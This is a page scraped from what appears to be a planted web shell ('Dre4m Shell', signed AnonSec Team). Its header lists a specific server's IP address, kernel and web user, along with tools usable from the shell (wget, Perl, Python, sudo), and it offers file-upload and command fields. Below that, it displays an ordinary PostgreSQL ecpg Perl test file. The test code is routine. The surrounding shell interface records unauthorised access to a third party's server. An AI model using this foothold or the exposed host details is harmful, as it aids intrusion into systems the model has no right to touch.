Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.119.110.76
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/cwd/proc/2/root/proc/2/root/proc/3/cwd/usr/share/postgresql-common/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/cwd/proc/2/root/proc/2/root/proc/3/cwd/usr/share/postgresql-common/t//180_ecpg.t
# Check that ecpg works

use strict; 

use lib 't';
use TestLib;
use PgCommon;
use Test::More tests => 14;

my $v = $MAJORS[-1];

# prepare nobody-owned work dir
my $workdir=`su -s /bin/sh -c 'mktemp -d' nobody`;
chomp $workdir;
chdir $workdir or die "could not chdir to $workdir: $!";

# create test code
open F, '>test.pgc' or die "Could not open $workdir/test.pgc: $!";
print F <<EOF;
#include <stdio.h>
#include <stdlib.h>

EXEC SQL WHENEVER SQLWARNING SQLPRINT;
EXEC SQL WHENEVER SQLERROR SQLPRINT;

EXEC SQL BEGIN DECLARE SECTION;
    char output[1024];
EXEC SQL END DECLARE SECTION;

int main() {
    ECPGdebug(1, stderr);
    EXEC SQL CONNECT TO template1;
    EXEC SQL SELECT 'Database is ' || current_database() INTO :output;
    puts(output);
    EXEC SQL DISCONNECT ALL;
    return 0;
}
EOF
close F;
chmod 0644, 'test.pgc';

is_program_out 'nobody', 'ecpg test.pgc', 0, '', 'ecpg processing';

is_program_out 'nobody', 'cc -I$(pg_config --includedir) -L$(pg_config --libdir) -o test test.c -lecpg',
    0, '', 'compiling ecpg output';
chdir '/' or die "could not chdir to /: $!";

# run program
like_program_out 'nobody', "pg_virtualenv $workdir/test", 0, qr/Database is template1/,
    'test program runs and gives correct output';

# clean up
system "rm -rf $workdir";
check_clean;

# vim: filetype=perl

Anon7 - 2022
AnonSec Team